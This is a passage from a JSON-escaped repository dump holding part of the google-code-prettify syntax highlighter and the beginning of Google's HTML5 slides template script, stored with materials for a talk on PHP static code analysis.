/^(?:\\'\\'\\'(?:[^\\'\\\\]|\\\\[\\s\\S]|\\'{1,2}(?=[^\\']))*(?:\\'\\'\\'|$)|\\\"\\\"\\\"(?:[^\\\"\\\\]|\\\\[\\s\\S]|\\\"{1,2}(?=[^\\\"]))*(?:\\\"\\\"\\\"|$)|\\'(?:[^\\\\\\']|\\\\[\\s\\S])*(?:\\'|$)|\\\"(?:[^\\\\\\\"]|\\\\[\\s\\S])*(?:\\\"|$))/,\n null, '\\'\"']);\n } else if (options['multiLineStrings']) {\n // 'multi-line-string', \"multi-line-string\"\n shortcutStylePatterns.push(\n [PR_STRING, /^(?:\\'(?:[^\\\\\\']|\\\\[\\s\\S])*(?:\\'|$)|\\\"(?:[^\\\\\\\"]|\\\\[\\s\\S])*(?:\\\"|$)|\\`(?:[^\\\\\\`]|\\\\[\\s\\S])*(?:\\`|$))/,\n null, '\\'\"`']);\n } else {\n // 'single-line-string', \"single-line-string\"\n shortcutStylePatterns.push(\n [PR_STRING,\n /^(?:\\'(?:[^\\\\\\'\\r\\n]|\\\\.)*(?:\\'|$)|\\\"(?:[^\\\\\\\"\\r\\n]|\\\\.)*(?:\\\"|$))/,\n null, '\"\\'']);\n }\n if (options['verbatimStrings']) {\n // verbatim-string-literal production from the C# grammar. See issue 93.\n fallthroughStylePatterns.push(\n [PR_STRING, /^@\\\"(?:[^\\\"]|\\\"\\\")*(?:\\\"|$)/, null]);\n }\n var hc = options['hashComments'];\n if (hc) {\n if (options['cStyleComments']) {\n if (hc > 1) { // multiline hash comments\n shortcutStylePatterns.push(\n [PR_COMMENT, /^#(?:##(?:[^#]|#(?!##))*(?:###|$)|.*)/, null, '#']);\n } else {\n // Stop C preprocessor declarations at an unclosed open comment\n shortcutStylePatterns.push(\n [PR_COMMENT, /^#(?:(?:define|elif|else|endif|error|ifdef|include|ifndef|line|pragma|undef|warning)\\b|[^\\r\\n]*)/,\n null, '#']);\n }\n fallthroughStylePatterns.push(\n [PR_STRING,\n /^<(?:(?:(?:\\.\\.\\/)*|\\/?)(?:[\\w-]+(?:\\/[\\w-]+)+)?[\\w-]+\\.h|[a-z]\\w*)>/,\n null]);\n } else {\n shortcutStylePatterns.push([PR_COMMENT, /^#[^\\r\\n]*/, null, '#']);\n }\n }\n if (options['cStyleComments']) {\n fallthroughStylePatterns.push([PR_COMMENT, /^\\/\\/[^\\r\\n]*/, null]);\n fallthroughStylePatterns.push(\n [PR_COMMENT, /^\\/\\*[\\s\\S]*?(?:\\*\\/|$)/, null]);\n }\n if (options['regexLiterals']) {\n var REGEX_LITERAL = (\n // A regular expression literal starts with a slash that is\n // not followed by * or / so that it is not confused with\n // comments.\n '/(?=[^/*])'\n // and then contains any number of raw characters,\n + '(?:[^/\\\\x5B\\\\x5C]'\n // escape sequences (\\x5C),\n + '|\\\\x5C[\\\\s\\\\S]'\n // or non-nesting character sets (\\x5B\\x5D);\n + '|\\\\x5B(?:[^\\\\x5C\\\\x5D]|\\\\x5C[\\\\s\\\\S])*(?:\\\\x5D|$))+'\n // finally closed by a /.\n + '/');\n fallthroughStylePatterns.push(\n ['lang-regex',\n new RegExp('^' + REGEXP_PRECEDER_PATTERN + '(' + REGEX_LITERAL + ')')\n ]);\n }\n\n var keywords = options['keywords'].replace(/^\\s+|\\s+$/g, '');\n if (keywords.length) {\n fallthroughStylePatterns.push(\n [PR_KEYWORD,\n new RegExp('^(?:' + keywords.replace(/\\s+/g, '|') + ')\\\\b'), null]);\n }\n\n shortcutStylePatterns.push([PR_PLAIN, /^\\s+/, null, ' \\r\\n\\t\\xA0']);\n fallthroughStylePatterns.push(\n // TODO(mikesamuel): recognize non-latin letters and numerals in idents\n [PR_LITERAL, /^@[a-z_$][a-z_$@0-9]*/i, null],\n [PR_TYPE, /^@?[A-Z]+[a-z][A-Za-z_$@0-9]*/, null],\n [PR_PLAIN, /^[a-z_$][a-z_$@0-9]*/i, null],\n [PR_LITERAL,\n new RegExp(\n '^(?:'\n // A hex number\n + '0x[a-f0-9]+'\n // or an octal or decimal number,\n + '|(?:\\\\d(?:_\\\\d+)*\\\\d*(?:\\\\.\\\\d*)?|\\\\.\\\\d\\\\+)'\n // possibly in scientific notation\n + '(?:e[+\\\\-]?\\\\d+)?'\n + ')'\n // with an optional modifier like UL for unsigned long\n + '[a-z]*', 'i'),\n null, '0123456789'],\n // Don't treat escaped quotes in bash as starting strings. See issue 144.\n [PR_PLAIN, /^\\\\[\\s\\S]?/, null],\n [PR_PUNCTUATION, /^.[^\\s\\w\\.$@\\'\\\"\\`\\/\\#\\\\]*/, null]);\n\n return createSimpleLexer(shortcutStylePatterns, fallthroughStylePatterns);\n }\n\n var decorateSource = sourceDecorator({\n 'keywords': ALL_KEYWORDS,\n 'hashComments': true,\n 'cStyleComments': true,\n 'multiLineStrings': true,\n 'regexLiterals': true\n });\n\n /**\n * Given a DOM subtree, wraps it in a list, and puts each line into its own\n * list item.\n *\n * @param {Node} node modified in place. Its content is pulled into an\n * HTMLOListElement, and each line is moved into a separate list item.\n * This requires cloning elements, so the input might not have unique\n * IDs after numbering.\n */\n function numberLines(node, opt_startLineNum) {\n var nocode = /(?:^|\\s)nocode(?:\\s|$)/;\n var lineBreak = /\\r\\n?|\\n/;\n \n var document = node.ownerDocument;\n \n var whitespace;\n if (node.currentStyle) {\n whitespace = node.currentStyle.whiteSpace;\n } else if (window.getComputedStyle) {\n whitespace = document.defaultView.getComputedStyle(node, null)\n .getPropertyValue('white-space');\n }\n // If it's preformatted, then we need to split lines on line breaks\n // in addition to <BR>s.\n var isPreformatted = whitespace && 'pre' === whitespace.substring(0, 3);\n \n var li = document.createElement('LI');\n while (node.firstChild) {\n li.appendChild(node.firstChild);\n }\n // An array of lines. We split below, so this is initialized to one\n // un-split line.\n var listItems = [li];\n \n function walk(node) {\n switch (node.nodeType) {\n case 1: // Element\n if (nocode.test(node.className)) { break; }\n if ('BR' === node.nodeName) {\n breakAfter(node);\n // Discard the <BR> since it is now flush against a </LI>.\n if (node.parentNode) {\n node.parentNode.removeChild(node);\n }\n } else {\n for (var child = node.firstChild; child; child = child.nextSibling) {\n walk(child);\n }\n }\n break;\n case 3: case 4: // Text\n if (isPreformatted) {\n var text = node.nodeValue;\n var match = text.match(lineBreak);\n if (match) {\n var firstLine = text.substring(0, match.index);\n node.nodeValue = firstLine;\n var tail = text.substring(match.index + match[0].length);\n if (tail) {\n var parent = node.parentNode;\n parent.insertBefore(\n document.createTextNode(tail), node.nextSibling);\n }\n breakAfter(node);\n if (!firstLine) {\n // Don't leave blank text nodes in the DOM.\n node.parentNode.removeChild(node);\n }\n }\n }\n break;\n }\n }\n \n // Split a line after the given node.\n function breakAfter(lineEndNode) {\n // If there's nothing to the right, then we can skip ending the line\n // here, and move root-wards since splitting just before an end-tag\n // would require us to create a bunch of empty copies.\n while (!lineEndNode.nextSibling) {\n lineEndNode = lineEndNode.parentNode;\n if (!lineEndNode) { return; }\n }\n \n function breakLeftOf(limit, copy) {\n // Clone shallowly if this node needs to be on both sides of the break.\n var rightSide = copy ? limit.cloneNode(false) : limit;\n var parent = limit.parentNode;\n if (parent) {\n // We clone the parent chain.\n // This helps us resurrect important styling elements that cross lines.\n // E.g. in <i>Foo<br>Bar</i>\n // should be rewritten to <li><i>Foo</i></li><li><i>Bar</i></li>.\n var parentClone = breakLeftOf(parent, 1);\n // Move the clone and everything to the right of the original\n // onto the cloned parent.\n var next = limit.nextSibling;\n parentClone.appendChild(rightSide);\n for (var sibling = next; sibling; sibling = next) {\n next = sibling.nextSibling;\n parentClone.appendChild(sibling);\n }\n }\n return rightSide;\n }\n \n var copiedListItem = breakLeftOf(lineEndNode.nextSibling, 0);\n \n // Walk the parent chain until we reach an unattached LI.\n for (var parent;\n // Check nodeType since IE invents document fragments.\n (parent = copiedListItem.parentNode) && parent.nodeType === 1;) {\n copiedListItem = parent;\n }\n // Put it on the list of lines for later processing.\n listItems.push(copiedListItem);\n }\n \n // Split lines while there are lines left to split.\n for (var i = 0; // Number of lines that have been split so far.\n i < listItems.length; // length updated by breakAfter calls.\n ++i) {\n walk(listItems[i]);\n }\n \n // Make sure numeric indices show correctly.\n if (opt_startLineNum === (opt_startLineNum|0)) {\n listItems[0].setAttribute('value', opt_startLineNum);\n }\n \n var ol = document.createElement('OL');\n ol.className = 'linenums';\n var offset = Math.max(0, ((opt_startLineNum - 1 /* zero index */)) | 0) || 0;\n for (var i = 0, n = listItems.length; i < n; ++i) {\n li = listItems[i];\n // Stick a class on the LIs so that stylesheets can\n // color odd/even rows, or any other row pattern that\n // is co-prime with 10.\n li.className = 'L' + ((i + offset) % 10);\n if (!li.firstChild) {\n li.appendChild(document.createTextNode('\\xA0'));\n }\n ol.appendChild(li);\n }\n \n node.appendChild(ol);\n }\n\n /**\n * Breaks {@code job.source} around style boundaries in {@code job.decorations}\n * and modifies {@code job.sourceNode} in place.\n * @param {Object} job like <pre>{\n * source: {string} source as plain text,\n * spans: {Array.<number|Node>} alternating span start indices into source\n * and the text node or element (e.g. {@code <BR>}) corresponding to that\n * span.\n * decorations: {Array.<number|string} an array of style classes preceded\n * by the position at which they start in job.source in order\n * }</pre>\n * @private\n */\n function recombineTagsAndDecorations(job) {\n var isIE = /\\bMSIE\\b/.test(navigator.userAgent);\n var newlineRe = /\\n/g;\n \n var source = job.source;\n var sourceLength = source.length;\n // Index into source after the last code-unit recombined.\n var sourceIndex = 0;\n \n var spans = job.spans;\n var nSpans = spans.length;\n // Index into spans after the last span which ends at or before sourceIndex.\n var spanIndex = 0;\n \n var decorations = job.decorations;\n var nDecorations = decorations.length;\n // Index into decorations after the last decoration which ends at or before sourceIndex.\n var decorationIndex = 0;\n \n // Simplify decorations.\n var decPos = 0;\n for (var i = 0; i < nDecorations;) {\n // Skip over any zero-length decorations.\n var startPos = decorations[i];\n var start = i;\n while (start + 2 < nDecorations && decorations[start + 2] === startPos) {\n start += 2;\n }\n // Conflate all adjacent decorations that use the same style.\n var startDec = decorations[start + 1];\n var end = start + 2;\n while (end + 2 <= nDecorations\n && (decorations[end + 1] === startDec\n || decorations[end] === decorations[end + 2])) {\n end += 2;\n }\n decorations[decPos++] = startPos;\n decorations[decPos++] = startDec;\n i = end;\n }\n \n // Strip any zero-length decoration at the end.\n if (decPos && decorations[decPos - 2] === sourceLength) { decPos -= 2; }\n nDecorations = decorations.length = decPos;\n \n var decoration = null;\n while (spanIndex < nSpans) {\n var spanStart = spans[spanIndex];\n var spanEnd = spans[spanIndex + 2] || sourceLength;\n \n var decStart = decorations[decorationIndex];\n var decEnd = decorations[decorationIndex + 2] || sourceLength;\n \n var end = Math.min(spanEnd, decEnd);\n \n var textNode = spans[spanIndex + 1];\n if (textNode.nodeType !== 1) { // Don't muck with <BR>s or <LI>s\n var styledText = source.substring(sourceIndex, end);\n // This may seem bizarre, and it is. Emitting LF on IE causes the\n // code to display with spaces instead of line breaks.\n // Emitting Windows standard issue linebreaks (CRLF) causes a blank\n // space to appear at the beginning of every line but the first.\n // Emitting an old Mac OS 9 line separator makes everything spiffy.\n if (isIE) { styledText = styledText.replace(newlineRe, '\\r'); }\n textNode.nodeValue = styledText;\n var document = textNode.ownerDocument;\n var span = document.createElement('SPAN');\n span.className = decorations[decorationIndex + 1];\n var parentNode = textNode.parentNode;\n parentNode.replaceChild(span, textNode);\n span.appendChild(textNode);\n if (sourceIndex < spanEnd) { // Split off a text node.\n spans[spanIndex + 1] = textNode\n // TODO: Possibly optimize by using '' if there's no flicker.\n = document.createTextNode(source.substring(end, spanEnd));\n parentNode.insertBefore(textNode, span.nextSibling);\n }\n }\n \n sourceIndex = end;\n \n if (sourceIndex >= spanEnd) {\n spanIndex += 2;\n }\n if (sourceIndex >= decEnd) {\n decorationIndex += 2;\n }\n }\n }\n\n\n /** Maps language-specific file extensions to handlers. */\n var langHandlerRegistry = {};\n /** Register a language handler for the given file extensions.\n * @param {function (Object)} handler a function from source code to a list\n * of decorations. Takes a single argument job which describes the\n * state of the computation. The single parameter has the form\n * {@code {\n * source: {string} as plain text.\n * decorations: {Array.<number|string>} an array of style classes\n * preceded by the position at which they start in\n * job.source in order.\n * The language handler should assigned this field.\n * basePos: {int} the position of source in the larger source chunk.\n * All positions in the output decorations array are relative\n * to the larger source chunk.\n * } }\n * @param {Array.<string>} fileExtensions\n */\n function registerLangHandler(handler, fileExtensions) {\n for (var i = fileExtensions.length; --i >= 0;) {\n var ext = fileExtensions[i];\n if (!langHandlerRegistry.hasOwnProperty(ext)) {\n langHandlerRegistry[ext] = handler;\n } else if ('console' in window) {\n console['warn']('cannot override language handler %s', ext);\n }\n }\n }\n function langHandlerForExtension(extension, source) {\n if (!(extension && langHandlerRegistry.hasOwnProperty(extension))) {\n // Treat it as markup if the first non whitespace character is a < and\n // the last non-whitespace character is a >.\n extension = /^\\s*</.test(source)\n ? 'default-markup'\n : 'default-code';\n }\n return langHandlerRegistry[extension];\n }\n registerLangHandler(decorateSource, ['default-code']);\n registerLangHandler(\n createSimpleLexer(\n [],\n [\n [PR_PLAIN, /^[^<?]+/],\n [PR_DECLARATION, /^<!\\w[^>]*(?:>|$)/],\n [PR_COMMENT, /^<\\!--[\\s\\S]*?(?:-\\->|$)/],\n // Unescaped content in an unknown language\n ['lang-', /^<\\?([\\s\\S]+?)(?:\\?>|$)/],\n ['lang-', /^<%([\\s\\S]+?)(?:%>|$)/],\n [PR_PUNCTUATION, /^(?:<[%?]|[%?]>)/],\n ['lang-', /^<xmp\\b[^>]*>([\\s\\S]+?)<\\/xmp\\b[^>]*>/i],\n // Unescaped content in javascript. (Or possibly vbscript).\n ['lang-js', /^<script\\b[^>]*>([\\s\\S]*?)(<\\/script\\b[^>]*>)/i],\n // Contains unescaped stylesheet content\n ['lang-css', /^<style\\b[^>]*>([\\s\\S]*?)(<\\/style\\b[^>]*>)/i],\n ['lang-in.tag', /^(<\\/?[a-z][^<>]*>)/i]\n ]),\n ['default-markup', 'htm', 'html', 'mxml', 'xhtml', 'xml', 'xsl']);\n registerLangHandler(\n createSimpleLexer(\n [\n [PR_PLAIN, /^[\\s]+/, null, ' \\t\\r\\n'],\n [PR_ATTRIB_VALUE, /^(?:\\\"[^\\\"]*\\\"?|\\'[^\\']*\\'?)/, null, '\\\"\\'']\n ],\n [\n [PR_TAG, /^^<\\/?[a-z](?:[\\w.:-]*\\w)?|\\/?>$/i],\n [PR_ATTRIB_NAME, /^(?!style[\\s=]|on)[a-z](?:[\\w:-]*\\w)?/i],\n ['lang-uq.val', /^=\\s*([^>\\'\\\"\\s]*(?:[^>\\'\\\"\\s\\/]|\\/(?=\\s)))/],\n [PR_PUNCTUATION, /^[=<>\\/]+/],\n ['lang-js', /^on\\w+\\s*=\\s*\\\"([^\\\"]+)\\\"/i],\n ['lang-js', /^on\\w+\\s*=\\s*\\'([^\\']+)\\'/i],\n ['lang-js', /^on\\w+\\s*=\\s*([^\\\"\\'>\\s]+)/i],\n ['lang-css', /^style\\s*=\\s*\\\"([^\\\"]+)\\\"/i],\n ['lang-css', /^style\\s*=\\s*\\'([^\\']+)\\'/i],\n ['lang-css', /^style\\s*=\\s*([^\\\"\\'>\\s]+)/i]\n ]),\n ['in.tag']);\n registerLangHandler(\n createSimpleLexer([], [[PR_ATTRIB_VALUE, /^[\\s\\S]+/]]), ['uq.val']);\n registerLangHandler(sourceDecorator({\n 'keywords': CPP_KEYWORDS,\n 'hashComments': true,\n 'cStyleComments': true\n }), ['c', 'cc', 'cpp', 'cxx', 'cyc', 'm']);\n registerLangHandler(sourceDecorator({\n 'keywords': 'null true false'\n }), ['json']);\n registerLangHandler(sourceDecorator({\n 'keywords': CSHARP_KEYWORDS,\n 'hashComments': true,\n 'cStyleComments': true,\n 'verbatimStrings': true\n }), ['cs']);\n registerLangHandler(sourceDecorator({\n 'keywords': JAVA_KEYWORDS,\n 'cStyleComments': true\n }), ['java']);\n registerLangHandler(sourceDecorator({\n 'keywords': SH_KEYWORDS,\n 'hashComments': true,\n 'multiLineStrings': true\n }), ['bsh', 'csh', 'sh']);\n registerLangHandler(sourceDecorator({\n 'keywords': PYTHON_KEYWORDS,\n 'hashComments': true,\n 'multiLineStrings': true,\n 'tripleQuotedStrings': true\n }), ['cv', 'py']);\n registerLangHandler(sourceDecorator({\n 'keywords': PERL_KEYWORDS,\n 'hashComments': true,\n 'multiLineStrings': true,\n 'regexLiterals': true\n }), ['perl', 'pl', 'pm']);\n registerLangHandler(sourceDecorator({\n 'keywords': RUBY_KEYWORDS,\n 'hashComments': true,\n 'multiLineStrings': true,\n 'regexLiterals': true\n }), ['rb']);\n registerLangHandler(sourceDecorator({\n 'keywords': JSCRIPT_KEYWORDS,\n 'cStyleComments': true,\n 'regexLiterals': true\n }), ['js']);\n registerLangHandler(sourceDecorator({\n 'keywords': COFFEE_KEYWORDS,\n 'hashComments': 3, // ### style block comments\n 'cStyleComments': true,\n 'multilineStrings': true,\n 'tripleQuotedStrings': true,\n 'regexLiterals': true\n }), ['coffee']);\n registerLangHandler(createSimpleLexer([], [[PR_STRING, /^[\\s\\S]+/]]), ['regex']);\n\n function applyDecorator(job) {\n var opt_langExtension = job.langExtension;\n\n try {\n // Extract tags, and convert the source code to plain text.\n var sourceAndSpans = extractSourceSpans(job.sourceNode);\n /** Plain text. @type {string} */\n var source = sourceAndSpans.source;\n job.source = source;\n job.spans = sourceAndSpans.spans;\n job.basePos = 0;\n\n // Apply the appropriate language handler\n langHandlerForExtension(opt_langExtension, source)(job);\n\n // Integrate the decorations and tags back into the source code,\n // modifying the sourceNode in place.\n recombineTagsAndDecorations(job);\n } catch (e) {\n if ('console' in window) {\n console['log'](e && e['stack'] ? e['stack'] : e);\n }\n }\n }\n\n /**\n * @param sourceCodeHtml {string} The HTML to pretty print.\n * @param opt_langExtension {string} The language name to use.\n * Typically, a filename extension like 'cpp' or 'java'.\n * @param opt_numberLines {number|boolean} True to number lines,\n * or the 1-indexed number of the first line in sourceCodeHtml.\n */\n function prettyPrintOne(sourceCodeHtml, opt_langExtension, opt_numberLines) {\n var container = document.createElement('PRE');\n // This could cause images to load and onload listeners to fire.\n // E.g. <img onerror=\"alert(1337)\" src=\"nosuchimage.png\">.\n // We assume that the inner HTML is from a trusted source.\n container.innerHTML = sourceCodeHtml;\n if (opt_numberLines) {\n numberLines(container, opt_numberLines);\n }\n\n var job = {\n langExtension: opt_langExtension,\n numberLines: opt_numberLines,\n sourceNode: container\n };\n applyDecorator(job);\n return container.innerHTML;\n }\n\n function prettyPrint(opt_whenDone) {\n function byTagName(tn) { return document.getElementsByTagName(tn); }\n // fetch a list of nodes to rewrite\n var codeSegments = [byTagName('pre'), byTagName('code'), byTagName('xmp')];\n var elements = [];\n for (var i = 0; i < codeSegments.length; ++i) {\n for (var j = 0, n = codeSegments[i].length; j < n; ++j) {\n elements.push(codeSegments[i][j]);\n }\n }\n codeSegments = null;\n\n var clock = Date;\n if (!clock['now']) {\n clock = { 'now': function () { return (new Date).getTime(); } };\n }\n\n // The loop is broken into a series of continuations to make sure that we\n // don't make the browser unresponsive when rewriting a large page.\n var k = 0;\n var prettyPrintingJob;\n\n function doWork() {\n var endTime = (window['PR_SHOULD_USE_CONTINUATION'] ?\n clock.now() + 250 /* ms */ :\n Infinity);\n for (; k < elements.length && clock.now() < endTime; k++) {\n var cs = elements[k];\n if (cs.className && cs.className.indexOf('prettyprint') >= 0) {\n // If the classes includes a language extensions, use it.\n // Language extensions can be specified like\n // <pre class=\"prettyprint lang-cpp\">\n // the language extension \"cpp\" is used to find a language handler as\n // passed to PR.registerLangHandler.\n var langExtension = cs.className.match(/\\blang-(\\w+)\\b/);\n if (langExtension) { langExtension = langExtension[1]; }\n\n // make sure this is not nested in an already prettified element\n var nested = false;\n for (var p = cs.parentNode; p; p = p.parentNode) {\n if ((p.tagName === 'pre' || p.tagName === 'code' ||\n p.tagName === 'xmp') &&\n p.className && p.className.indexOf('prettyprint') >= 0) {\n nested = true;\n break;\n }\n }\n if (!nested) {\n // Look for a class like linenums or linenums:<n> where <n> is the\n // 1-indexed number of the first line.\n var lineNums = cs.className.match(/\\blinenums\\b(?::(\\d+))?/);\n lineNums = lineNums\n ? lineNums[1] && lineNums[1].length ? +lineNums[1] : true\n : false;\n if (lineNums) { numberLines(cs, lineNums); }\n\n // do the pretty printing\n prettyPrintingJob = {\n langExtension: langExtension,\n sourceNode: cs,\n numberLines: lineNums\n };\n applyDecorator(prettyPrintingJob);\n }\n }\n }\n if (k < elements.length) {\n // finish up in a continuation\n setTimeout(doWork, 250);\n } else if (opt_whenDone) {\n opt_whenDone();\n }\n }\n\n doWork();\n }\n\n window['prettyPrintOne'] = prettyPrintOne;\n window['prettyPrint'] = prettyPrint;\n window['PR'] = {\n 'createSimpleLexer': createSimpleLexer,\n 'registerLangHandler': registerLangHandler,\n 'sourceDecorator': sourceDecorator,\n 'PR_ATTRIB_NAME': PR_ATTRIB_NAME,\n 'PR_ATTRIB_VALUE': PR_ATTRIB_VALUE,\n 'PR_COMMENT': PR_COMMENT,\n 'PR_DECLARATION': PR_DECLARATION,\n 'PR_KEYWORD': PR_KEYWORD,\n 'PR_LITERAL': PR_LITERAL,\n 'PR_NOCODE': PR_NOCODE,\n 'PR_PLAIN': PR_PLAIN,\n 'PR_PUNCTUATION': PR_PUNCTUATION,\n 'PR_SOURCE': PR_SOURCE,\n 'PR_STRING': PR_STRING,\n 'PR_TAG': PR_TAG,\n 'PR_TYPE': PR_TYPE\n };\n})();\n" }, { "path": "papers/LCA 2012_ PHP Static Code Analysis_files/slides.txt", "content": "/*\n Google HTML5 slides template\n\n Authors: Luke Mahé (code)\n Marcin Wichary (code and design)\n\n Dominic Mazzoni (browser compatibility)\n Charles Chen (ChromeVox support)\n\n URL: http://code.google.com/p/html5slides/\n*/\n\nvar PERMANENT_URL_PREFIX = 'http://html5slides.googlecode.com/svn/trunk/';\n\nvar SLIDE_CLASSES = ['far-past', 'past', 'current', 'next', 'far-next'];\n\nvar PM_TOUCH_SENSITIVITY = 15;\n\nvar curSlide;\n\n/* ---------------------------------------------------------------------- */\n/* classList polyfill by Eli Grey\n * (http://purl.eligrey.com/github/classList.js/blob/master/classList.js) */\n\nif (typeof document !== \"undefined\" && !(\"classList\" in document.createElement(\"a\"))) {\n\n(function (view) {\n\nvar\n classListProp = \"classList\"\n , protoProp = \"prototype\"\n , elemCtrProto = (view.HTMLElement || view.Element)[protoProp]\n , objCtr = Object\n strTrim = String[protoProp].trim || function () {\n return this.replace(/^\\s+|\\s+$/g, \"\");\n }\n , arrIndexOf = Array[protoProp].indexOf || function (item) {\n for (var i = 0, len = this.length; i < len; i++) {\n if (i in this && this[i] === item) {\n return i;\n }\n }\n return -1;\n }\n // Vendors: please allow content code to instantiate DOMExceptions\n , DOMEx = function (type, message) {\n this.name = type;\n this.code = DOMException[type];\n this.message = message;\n }\n , checkTokenAndGetIndex = function (classList, token) {\n if (token === \"\") {\n throw new DOMEx(\n \"SYNTAX_ERR\"\n , \"An invalid or illegal string was specified\"\n );\n }\n if (/\\s/.test(token)) {\n throw new DOMEx(\n \"INVALID_CHARACTER_ERR\"\n , \"String contains an invalid character\"\n );\n }\n return arrIndexOf.call(classList, token);\n }\n , ClassList = function (elem) {\n var\n trimmedClasses = strTrim.call(elem.className)\n , classes = trimmedClasses ? trimmedClasses.split(/\\s+/) : []\n ;\n for (var i = 0, len = classes.length; i < len; i++) {\n this.push(classes[i]);\n }\n this._updateClassName = function () {\n elem.className = this.toString();\n };\n }\n , classListProto = ClassList[protoProp] = []\n , classListGetter = function () {\n return new ClassList(this);\n }\n;\n// Most DOMException implementations don't allow calling DOMException's toString()\n// on non-DOMExceptions. Error's toString() is sufficient here.\nDOMEx[protoProp] = Error[protoProp];\nclassListProto.item = function (i) {\n return this[i] || null;\n};\nclassListProto.contains = function (token) {\n token += \"\";\n return checkTokenAndGetIndex(this, token) !== -1;\n};\nclassListProto.add = function (token) {\n token += \"\";\n if (checkTokenAndGetIndex(this, token) === -1) {\n this.push(token);\n this._updateClassName();\n }\n};\nclassListProto.remove = function (token) {\n token += \"\";\n var index = checkTokenAndGetIndex(this, token);\n if (index !== -1) {\n this.splice(index, 1);\n this._updateClassName();\n }\n};\nclassListProto.toggle = function (token) {\n token += \"\";\n if (checkTokenAndGetIndex(this, token) === -1) {\n this.add(token);\n } else {\n this.remove(token);\n }\n};\nclassListProto.toString = function () {\n return this.join(\" \");\n};\n\nif (objCtr.defineProperty) {\n var classListPropDesc = {\n get: classListGetter\n , enumerable: true\n , configurable: true\n };\n try {\n objCtr.defineProperty(elemCtrProto, classListProp, classListPropDesc);\n } catch (ex) { // IE 8 doesn't support enumerable:true\n if (ex.number === -0x7FF5EC54) {\n classListPropDesc.enumerable = false;\n objCtr.defineProperty(elemCtrProto, classListProp, classListPropDesc);\n }\n }\n} else if (objCtr[protoProp].__defineGetter__) {\n elemCtrProto.__defineGetter__(classListProp, classListGetter);\n}\n\n}(self));\n\n}\n/* ---------------------------------------------------------------------- */\n\n/* Slide movement */\n\nfunction getSlideEl(no) {\n if ((no < 0) || (no >= slideEls.length)) {\n return null;\n } else {\n return slideEls[no];\n }\n};\n\nfunction updateSlideClass(slideNo, className) {\n var el = getSlideEl(slideNo);\n\n if (!el) {\n return;\n }\n\n if (className) {\n el.classList.add(className);\n }\n\n for (var i in SLIDE_CLASSES) {\n if (className != SLIDE_CLASSES[i]) {\n el.classList.remove(SLIDE_CLASSES[i]);\n }\n }\n};\n\nfunction updateSlides() {\n for (var i = 0; i < slideEls.length; i++) {\n switch (i) {\n case curSlide - 2:\n updateSlideClass(i, 'far-past');\n break;\n case curSlide - 1:\n updateSlideClass(i, 'past');\n break;\n case curSlide:\n updateSlideClass(i, 'current');\n break;\n case curSlide + 1:\n updateSlideClass(i, 'next');\n break;\n case curSlide + 2:\n updateSlideClass(i, 'far-next');\n break;\n default:\n updateSlideClass(i);\n break;\n }\n }\n\n triggerLeaveEvent(curSlide - 1);\n triggerEnterEvent(curSlide);\n\n window.setTimeout(function() {\n // Hide after the slide\n disableSlideFrames(curSlide - 2);\n }, 301);\n\n enableSlideFrames(curSlide - 1);\n enableSlideFrames(curSlide + 2);\n\n if (isChromeVoxActive()) {\n speakAndSyncToNode(slideEls[curSlide]);\n }\n\n updateHash();\n};\n\nfunction buildNextItem() {\n var toBuild = slideEls[curSlide].querySelectorAll('.to-build');\n\n if (!toBuild.length) {\n return false;\n }\n\n toBuild[0].classList.remove('to-build');\n\n if (isChromeVoxActive()) {\n speakAndSyncToNode(toBuild[0]);\n }\n\n return true;\n};\n\nfunction prevSlide() {\n if (curSlide > 0) {\n curSlide--;\n\n updateSlides();\n }\n};\n\nfunction nextSlide() {\n if (buildNextItem()) {\n return;\n }\n\n if (curSlide < slideEls.length - 1) {\n curSlide++;\n\n updateSlides();\n }\n};\n\n/* Slide events */\n\nfunction triggerEnterEvent(no) {\n var el = getSlideEl(no);\n if (!el) {\n return;\n }\n\n var onEnter = el.getAttribute('onslideenter');\n if (onEnter) {\n new Function(onEnter).call(el);\n }\n\n var evt = document.createEvent('Event');\n evt.initEvent('slideenter', true, true);\n evt.slideNumber = no + 1; // Make it readable\n\n el.dispatchEvent(evt);\n};\n\nfunction triggerLeaveEvent(no) {\n var el = getSlideEl(no);\n if (!el) {\n return;\n }\n\n var onLeave = el.getAttribute('onslideleave');\n if (onLeave) {\n new Function(onLeave).call(el);\n }\n\n var evt = document.createEvent('Event');\n evt.initEvent('slideleave', true, true);\n evt.slideNumber = no + 1; // Make it readable\n\n el.dispatchEvent(evt);\n};\n\n/* Touch events */\n\nfunction handleTouchStart(event) {\n if (event.touches.length == 1) {\n touchDX = 0;\n touchDY = 0;\n\n touchStartX = event.touches[0].pageX;\n touchStartY = event.touches[0].pageY;\n\n document.body.addEventListener('touchmove', handleTouchMove, true);\n document.body.addEventListener('touchend', handleTouchEnd, true);\n }\n};\n\nfunction handleTouchMove(event) {\n if (event.touches.length > 1) {\n cancelTouch();\n } else {\n touchDX = event.touches[0].pageX - touchStartX;\n touchDY = event.touches[0].pageY - touchStartY;\n }\n};\n\nfunction handleTouchEnd(event) {\n var dx = Math.abs(touchDX);\n var dy = Math.abs(touchDY);\n\n if ((dx > PM_TOUCH_SENSITIVITY) && (dy < (dx * 2 / 3))) {\n if (touchDX > 0) {\n prevSlide();\n } else {\n nextSlide();\n }\n }\n\n cancelTouch();\n};\n\nfunction cancelTouch() {\n document.body.removeEventListener('touchmove', handleTouchMove, true);\n document.body.removeEventListener('touchend', handleTouchEnd, true);\n};\n\n/* Preloading frames */\n\nfunction disableSlideFrames(no) {\n var el = getSlideEl(no);\n if (!el) {\n return;\n }\n\n var frames = el.getElementsByTagName('iframe');\n for (var i = 0, frame; frame = frames[i]; i++) {\n disableFrame(frame);\n }\n};\n\nfunction enableSlideFrames(no) {\n var el = getSlideEl(no);\n if (!el) {\n return;\n }\n\n var frames = el.getElementsByTagName('iframe');\n for (var i = 0, frame; frame = frames[i]; i++) {\n enableFrame(frame);\n }\n};\n\nfunction disableFrame(frame) {\n frame.src = 'about:blank';\n};\n\nfunction enableFrame(frame) {\n var src = frame._src;\n\n if (frame.src != src && src != 'about:blank') {\n frame.src = src;\n }\n};\n\nfunction setupFrames() {\n var frames = document.querySelectorAll('iframe');\n for (var i = 0, frame; frame = frames[i]; i++) {\n frame._src = frame.src;\n disableFrame(frame);\n }\n\n enableSlideFrames(curSlide);\n enableSlideFrames(curSlide + 1);\n enableSlideFrames(curSlide + 2);\n};\n\nfunction setupInteraction() {\n /* Clicking and tapping */\n\n var el = document.createElement('div');\n el.className = 'slide-area';\n el.id = 'prev-slide-area';\n el.addEventListener('click', prevSlide, false);\n 